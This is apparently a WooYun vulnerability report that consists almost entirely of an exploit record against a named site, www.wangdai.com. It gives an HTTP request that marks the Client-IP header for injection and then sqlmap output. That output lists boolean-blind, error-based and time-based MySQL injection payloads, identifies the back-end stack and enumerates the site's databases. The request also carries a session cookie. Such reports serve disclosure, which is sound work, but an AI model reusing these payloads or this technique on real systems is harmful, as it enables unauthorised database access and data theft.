WooYun.org

GET /jiekuan/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Client-IP: 1.1.1.1*
Cookie: PHPSESSID=p2sro4gsrirbcv2dk334q2g966; lzstat_uv=1115180456633299858|3552958; lzstat_ss=739736894_1_1443104119_3552958
Host: www.wangdai.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

do you want to try URI injections in the target URL itself? [Y/n/q]
[16:12:31] [INFO] resuming back-end DBMS 'mysql'
[16:12:31] [INFO] testing connection to the target URL
[16:12:31] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Client-IP #1* ((custom) HEADER)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
 clause
    Payload: 1.1.1.1' RLIKE (SELECT (CASE WHEN (5694=5694) THEN 0x312e312e312e31
 ELSE 0x28 END)) AND 'qYgP'='qYgP
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: 1.1.1.1' AND (SELECT 1054 FROM(SELECT COUNT(*),CONCAT(0x716a707671,
(SELECT (ELT(1054=1054,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH
EMA.CHARACTER_SETS GROUP BY x)a) AND 'meVD'='meVD
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: 1.1.1.1' AND (SELECT * FROM (SELECT(SLEEP(5)))mJIR) AND 'XzSs'='XzS
s
---
[16:12:31] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.27
back-end DBMS: MySQL 5.0
[16:12:31] [INFO] fetching database names
[16:12:31] [WARNING] reflective value(s) found and filtering out
[16:12:32] [INFO] the SQL query used returns 2 entries
[16:12:32] [INFO] retrieved: information_schema
[16:12:32] [INFO] retrieved: wangdai
available databases [2]:
[*] information_schema
[*] wangdai